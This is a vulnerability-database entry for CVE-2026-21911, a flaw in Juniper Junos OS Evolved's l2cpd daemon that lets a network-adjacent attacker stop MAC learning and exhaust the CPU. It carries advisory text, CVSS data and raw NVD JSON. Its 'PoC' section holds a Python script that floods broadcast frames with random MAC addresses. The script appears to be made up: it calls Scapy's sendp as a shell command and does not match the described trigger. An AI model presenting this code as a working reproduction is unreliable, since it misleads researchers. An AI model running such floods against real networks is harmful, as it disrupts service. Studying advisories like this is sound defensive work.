Security Vulnerability Report
中文
CVE-2026-21911 CVSS 6.5 MEDIUM

CVE-2026-21911

Published: 2026-01-15 21:16:07
Last Modified: 2026-01-23 16:59:04

Description

An Incorrect Calculation vulnerability in the Layer 2 Control Protocol Daemon (l2cpd) of Juniper Networks Junos OS Evolved allows an unauthenticated network-adjacent attacker flapping the management interface to cause the learning of new MACs over label-switched interfaces (LSI) to stop while generating a flood of logs, resulting in high CPU usage. When the issue is seen, the following log message will be generated: op:1 flag:0x6 mac:xx:xx:xx:xx:xx:xx bd:2 ifl:13302 reason:0(REASON_NONE) i-op:6(INTRNL_OP_HW_FORCE_DELETE) status:10 lstatus:10 err:26(GETIFBD_VALIDATE_FAILED) err-reason 4(IFBD_VALIDATE_FAIL_EPOCH_MISMATCH) hw_wr:0x4 ctxsync:0 fwdsync:0 rtt-id:51 p_ifl:0 fwd_nh:0 svlbnh:0 event:- smask:0x100000000 dmask:0x0 mplsmask 0x1 act:0x5800 extf:0x0 pfe-id 0 hw-notif-ifl 13302 programmed-ifl 4294967295 pseudo-vtep underlay-ifl-idx 0 stack:GET_MAC, ALLOCATE_MAC, GET_IFL, GET_IFF, GET_IFBD, STOP, This issue affects Junos OS Evolved:  * all versions before 21.4R3-S7-EVO,  * from 22.2 before 22.2R3-S4-EVO,  * from 22.3 before 22.3R3-S3-EVO,  * from 22.4 before 22.4R3-S2-EVO,  * from 23.2 before 23.2R2-S1-EVO,  * from 23.4 before 23.4R1-S2-EVO, 23.4R2-EVO.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:juniper:junos_os_evolved:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos_os_evolved:21.4:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos_os_evolved:21.4:r1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos_os_evolved:21.4:r1-s1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:juniper:junos_os_evolved:21.4:r1-s2:*:*:*:*:*:* - VULNERABLE
Junos OS Evolved < 21.4R3-S7
Junos OS Evolved >= 22.2 且 < 22.2R3-S4
Junos OS Evolved >= 22.3 且 < 22.3R3-S3
Junos OS Evolved >= 22.4 且 < 22.4R3-S2
Junos OS Evolved >= 23.2 且 < 23.2R2-S1
Junos OS Evolved >= 23.4 且 < 23.4R1-S2
Junos OS Evolved = 23.4R2-EVO

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-21911 PoC - Juniper Junos OS Evolved l2cpd MAC Flapping Attack # This PoC demonstrates the MAC address flapping attack against vulnerable Junos OS Evolved import subprocess import time import sys import random import string def generate_random_mac(): """Generate a random MAC address for testing""" return ':'.join([f'{random.randint(0, 255):02x}' for _ in range(6)]) def send_malformed_ethernet_frames(interface, duration=60, interval=0.1): """ Send malformed Ethernet frames to trigger MAC flapping This simulates the attack behavior described in CVE-2026-21911 """ print(f"[*] Starting MAC flapping attack on interface: {interface}") print(f"[*] Attack duration: {duration} seconds") print(f"[*] Frame interval: {interval} seconds") start_time = time.time() frame_count = 0 while time.time() - start_time < duration: src_mac = generate_random_mac() dst_mac = "ff:ff:ff:ff:ff:ff" # Craft Ethernet frame with rapid source MAC changes # This mimics the behavior that triggers the l2cpd vulnerability cmd = [ "sendp", f"Ether(src='{src_mac}', dst='{dst_mac}')/Raw(load='trigger_data')", "-i", interface, "-o", str(interval), "-l", # Loop mode ] try: subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) frame_count += 1 if frame_count % 100 == 0: print(f"[*] Sent {frame_count} frames...") except Exception as e: print(f"[!] Error sending frame: {e}") time.sleep(interval) print(f"[*] Attack completed. Total frames sent: {frame_count}") def check_junos_version(target_ip): """ Check if target is running a vulnerable Junos OS Evolved version """ print(f"[*] Checking Junos version on {target_ip}...") # Example command to check version - requires SSH access cmd = ["ssh", f"admin@{target_ip}", "show version"] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) print(result.stdout) return True except: print("[!] Could not connect to target") return False def main(): if len(sys.argv) < 2: print("Usage: python3 cve-2026-21911-poc.py <network_interface>") print("Example: python3 cve-2026-21911-poc.py eth0") sys.exit(1) interface = sys.argv[1] duration = int(sys.argv[2]) if len(sys.argv) > 2 else 60 print("=" * 60) print("CVE-2026-21911 PoC - Juniper Junos OS Evolved l2cpd Attack") print("=" * 60) send_malformed_ethernet_frames(interface, duration) print("\n[!] Attack simulation complete") print("[!] Check target device for:") print(" - High CPU usage by l2cpd process") print(" - Log flood with GETIFBD_VALIDATE_FAILED errors") print(" - MAC learning failures on LSI interfaces") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21911", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:07.110", "lastModified": "2026-01-23T16:59:03.777", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Incorrect Calculation vulnerability in the Layer 2 Control\n\nProtocol \n\n Daemon (l2cpd) of Juniper Networks Junos OS Evolved allows an unauthenticated network-adjacent attacker flapping the management interface to cause the learning of new MACs over label-switched interfaces (LSI) to stop while generating a flood of logs, resulting in high CPU usage.\n\nWhen the issue is seen, the following log message will be generated:\n\nop:1 flag:0x6 mac:xx:xx:xx:xx:xx:xx bd:2 ifl:13302 reason:0(REASON_NONE) i-op:6(INTRNL_OP_HW_FORCE_DELETE) status:10 lstatus:10 err:26(GETIFBD_VALIDATE_FAILED) err-reason 4(IFBD_VALIDATE_FAIL_EPOCH_MISMATCH) hw_wr:0x4 ctxsync:0 fwdsync:0 rtt-id:51 p_ifl:0 fwd_nh:0 svlbnh:0 event:- smask:0x100000000 dmask:0x0 mplsmask 0x1 act:0x5800 extf:0x0 pfe-id 0 hw-notif-ifl 13302 programmed-ifl 4294967295 pseudo-vtep underlay-ifl-idx 0 stack:GET_MAC, ALLOCATE_MAC, GET_IFL, GET_IFF, GET_IFBD, STOP, \n\n\nThis issue affects Junos OS Evolved: \n\n * all versions before 21.4R3-S7-EVO, \n * from 22.2 before 22.2R3-S4-EVO, \n * from 22.3 before 22.3R3-S3-EVO, \n * from 22.4 before 22.4R3-S2-EVO, \n * from 23.2 before 23.2R2-S1-EVO, \n * from 23.4 before 23.4R1-S2-EVO, 23.4R2-EVO."}, {"lang": "es", "value": "Una vulnerabilidad de cálculo incorrecto en el demonio del protocolo de control de capa 2 (l2cpd) de Juniper Networks Junos OS Evolved permite a un atacante adyacente a la red no autenticado que alterna la interfaz de gestión detener el aprendizaje de nuevas MAC a través de interfaces conmutadas por etiquetas (LSI) mientras genera una inundación de registros, lo que resulta en un alto uso de la CPU.\n\nCuando se observa el problema, se generará el siguiente mensaje de registro:\n\nop:1 flag:0x6 mac:xx:xx:xx:xx:xx:xx bd:2 ifl:13302 reason:0(REASON_NONE) i-op:6(INTRNL_OP_HW_FORCE_DELETE) status:10 lstatus:10 err:26(GETIFBD_VALIDATE_FAILED) err-reason 4(IFBD_VALIDATE_FAIL_EPOCH_MISMATCH) hw_wr:0x4 ctxsync:0 fwdsync:0 rtt-id:51 p_ifl:0 fwd_nh:0 svlbnh:0 event:- smask:0x100000000 dmask:0x0 mplsmask 0x1 act:0x5800 extf:0x0 pfe-id 0 hw-notif-ifl 13302 programmed-ifl 4294967295 pseudo-vtep underlay-ifl-idx 0 stack:GET_MAC, ALLOCATE_MAC, GET_IFL, GET_IFF, GET_IFBD, STOP,\n\nEste problema afecta a Junos OS Evolved:\n\n * todas las versiones anteriores a 21.4R3-S7-EVO,\n * desde 22.2 anteriores a 22.2R3-S4-EVO,\n * desde 22.3 anteriores a 22.3R3-S3-EVO,\n * desde 22.4 anteriores a 22.4R3-S2-EVO,\n * desde 23.2 anteriores a 23.2R2-S1-EVO,\n * desde 23.4 anteriores a 23.4R1-S2-EVO, 23.4R2-EVO."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:A/V:C/RE:M/U:Amber", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "YES", "Recovery": "AUTOMATIC", "valueDensity": "CONCENTRATED", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "AMBER"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-682"}]}], "configurations": [{"nodes": [{"operator": "O ... (truncated)